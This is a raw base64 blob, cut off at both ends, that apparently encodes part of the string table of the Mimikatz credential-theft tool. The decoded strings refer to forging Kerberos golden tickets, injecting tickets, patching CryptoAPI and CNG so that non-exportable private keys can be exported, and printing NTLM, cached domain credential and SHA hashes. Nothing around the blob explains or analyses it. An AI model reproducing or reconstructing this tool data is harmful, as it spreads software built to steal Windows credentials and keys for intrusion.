cAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABQAEEAQwAgAHMAaQBnAG4AZQBkAAoAAAAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGUAbgBjAHIAeQBwAHQAZQBkAAoAAAAgACoAIABLAHIAYgBDAHIAZQBkACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAJACoAIAAlAHMAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaABfAGQAYQB0AGEAIAA7ACAASABhAHMAaABQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAABjAG8AdQBuAHQAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAACgBQAHIAaQBuAGMAaQBwAGEAbAAgADoAIAAAAAoACgBEAGEAdABhACAAJQB1AAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAAkAKgAgACUAdwBaACAAZQBuAHQAcgB5AD8AIAAqAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAYwBjAGEAYwBoAGUAIAB2AGUAcgBzAGkAbwBuACAAIQA9ACAAMAB4ADAANQAwADQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABmAGkAbABlAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAlAHUALQAlADAAOAB4AC4AJQBzAAAAAAAKAAkAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAKAAkAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAoACQAgACAAIABTAGUAcwBzAGkAbwBuACAASwBlAHkAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAKAAkAIAAgACAAIAAgAAAAAAAAAAoACQAgACAAIABUAGkAYwBrAGUAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzACAAOwAgAGsAdgBuAG8AIAA9ACAAJQB1AAAAAAAJAFsALgAuAC4AXQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAABoAHcAXwBhAHUAdABoAGUAbgB0AAAAAABwAHIAZQBfAGEAdQB0AGgAZQBuAHQAAABpAG4AaQB0AGkAYQBsAAAAcgBlAG4AZQB3AGEAYgBsAGUAAABpAG4AdgBhAGwAaQBkAAAAcABvAHMAdABkAGEAdABlAGQAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAcAByAG8AeAB5AAAAcAByAG8AeABpAGEAYgBsAGUAAABmAG8AcgB3AGEAcgBkAGUAZAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAACgAJQAwADIAaAB1ACkAIAA6ACAAAAAAACUAdwBaACAAOwAgAAAAAAAoAC0ALQApACAAOgAgAAAAQAAgACUAdwBaAAAAbgB1AGwAbAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAGMAcgBjACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA0ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1AF8AbgB0ACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AMgAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBlAHgAcAAgACAAIAAgAAAAcgBjADQAXwBsAG0AIAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBtAGQANAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBzAGgAYQAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0ACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0AF8AZQB4AHAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZABfAGUAeABwAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAXwBlAHgAcAAgAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAdQBuAGsAbgBvAHcAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAcwB0AGEAdAB1AHMAAAAAAHMAaQBuAGcAbABlAAAAAABvAGYAZgAAAHQAZQBzAHQAAAAAAGIAdQBzAHkAbABpAGcAaAB0AAAAQgB1AHMAeQBMAGkAZwBoAHQAIABNAG8AZAB1AGwAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBvAGYAZgAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAAABJAE4AUABVAFQARQBWAEUATgBUAAAAAABMAEkARwBIAFQAAABTAE8AVQBOAEQAAABKAEkATgBHAEwARQBfAEMATABJAFAAUwAAAAAAQgB1AHMAeQBMAGkAZwBoAHQAIABkAGUAdABlAGMAdABlAGQACgAAAAAAAAAKAFsAJQAzAHUAXQAgACUAcwAKACAAIABWAGUAbgBkAG8AcgA6ACAAMAB4ACUAMAA0AHgALAAgAFAAcgBvAGQAdQBjAHQAOgAgADAAeAAlADAANAB4ACwAIABWAGUAcgBzAGkAbwBuADoAIAAwAHgAJQAwADQAeAAKACAAIABEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAgACAAOgAgACUAcwAKACAAIABDAGEAcABhAGIAaQBsAGkAdABpAGUAcwAgACAAOgAgADAAeAAlADAAMgB4ACAAKAAgAAAAJQBzACwAIAAAAAAAIAAgAEQAZQB2AGkAYwBlACAASABhAG4AZABsAGUAOgAgADAAeAAlAHAACgAAAAAAIAAgACAAIABTAHQAYQB0AHUAcwAgACAAIAAgACAAOgAgADAAeAAlADAAMgB4AAoAAAAAACAAIAAgACAAUAByAG8AZAB1AGMAdABJAGQAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABDAG8AcwB0AHUAbQBlAHIASQBkACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AbwBkAGUAbAAgACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAUwBlAHIAaQBhAGwAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABNAGYAZwBfAEkARAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ARABhAHQAZQAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAcwB3AHIAZQBsAGUAYQBzAGUAIAAgADoAIAAlAFMACgAAAAAAIAAgAEsAZQBlAHAAQQBsAGkAdgBlACAAVABoAHIAZQBhAGQAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAIAAgAFcAbwByAGsAZQByACAAVABoAHIAZQBhAGQAIAAgACAAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAWwAlADMAdQBdACAAJQBzACAAKAAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBsAGkAcwB0ACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABzAG8AdQBuAGQAAABjAG8AbABvAHIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHAAcgBvAHYAaQBkAGUAcgBzAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABwAHIAbwB2AGkAZABlAHIAcwAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAEgAYQBzAGgAIABhACAAcABhAHMAcwB3AG8AcgBkACAAdwBpAHQAaAAgAG8AcAB0AGkAbwBuAGEAbAAgAHUAcwBlAHIAbgBhAG0AZQAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAFcAaQBuAGQAbwB3AHMAIABTAHkAcwB0AGUAbQAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgACgAZgBpAGwAZQAsACAAVABPAEQATwA6AHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAKQAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMAcgB5AHAAdABvAEEAUABJACAAbABhAHkAZQByACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAE4ARwAgAHMAZQByAHYAaQBjAGUAIABmAG8AcgAgAGUAYQBzAHkAIABlAHgAcABvAHIAdAAAAAAAYwByAHkAcAB0AG8AAAAAAEMAcgB5AHAAdABvACAATQBvAGQAdQBsAGUAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEltcG9ydEtleQBOQ3J5cHRFeHBvcnRLZXkATkNyeXB0R2V0UHJvcGVydHkAAABOQ3J5cHRTZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUALQAxADMAcwAgACgAJQAyAHUAKQAgAC0AIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAcwA6AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAEEAcwBrAGkAbgBnACAAZgBvAHIAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAHQAbwByAGUAcwAgADsAIABDAGUAcgB0AEUAbgB1AG0AUwB5AHMAdABlAG0AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAHMAdABvAHIAZQAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAIAA6ACAAJQBzACAAKAAlAHUAKQAKAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAG8AZgB0AHcAYQByAGUAIABLAGUAeQAgAFMAdABvAHIAYQBnAGUAIABQAHIAbwB2AGkAZABlAHIAAABjAG4AZwBwAHIAbwB2AGkAZABlAHIAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAGsAZQB5AHMAIAA6AAoAAAAAAAoAJQAyAHUALgAgACUAcwAKAAAAIAAgACAAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABVAG4AaQBxAHUAZQAgAE4AYQBtAGUAAAAgACAAIAAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAATABlAG4AZwB0AGgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAE4AQwByAHkAcAB0AEcAZQB0AFAAcgBvAHAAZQByAHQAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABZAEUAUwAAAE4ATwAAAAAACQBFAHgAcABvAHIAdABhAGIAbABlACAAawBlAHkAIAA6ACAAJQBzAAoACQBLAGUAeQAgAHMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQB1AAoAAAAAAFIAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AbwAgAEMATgBHACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABwAGYAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABQAGYAeAAgADsAIABQAEYAWABFAHgAcABvAHIAdABDAGUAcgB0AFMAdABvAHIAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGwAZQB0AGUAIAB0AGUAbQBwACAAawBlAHkAcwBlAHQAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAGUAcgB0AEEAZABkAEUAbgBjAG8AZABlAGQAQwBlAHIAdABpAGYAaQBjAGEAdABlAFQAbwBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAATgBUAEwATQA6ACAAAAAAAEQAQwBDADEAOgAgAAAAAABEAEMAQwAyADoAIAAAAAAATABNACAAIAA6ACAAAAAAAE0ARAA1ACAAOgAgAAAAAABTAEgAQQAxADoAIAAAAAAAUwBIAEEAMgA6ACAAAAAAAFsAJQAwADQAeAAvACUAeABdACAAJQBzAAoAAAAgACAAAAAAAFAAcgBvAHYAaQBkAGUAcgAgAGkAbgBmAG8AOgAKAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoAAAAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAkAUAByAG8AdgBpAGQAZQByACAAdAB5AHAAZQAgACAAOgAgACUAcwAgACgAJQB1ACkACgAAAAAACQBGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQBQAGEAcgBhAG0AIAAoAHQAbwBkAG8AKQAgACAAIAA6ACAAJQAwADgAeAAgAC8AIAAlADAAOAB4AAoAAAAAAAoAKgAgAEYAaQBsAGUAOgAgACcAJQBzACcACgAAAAAAZgBpAGwAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBw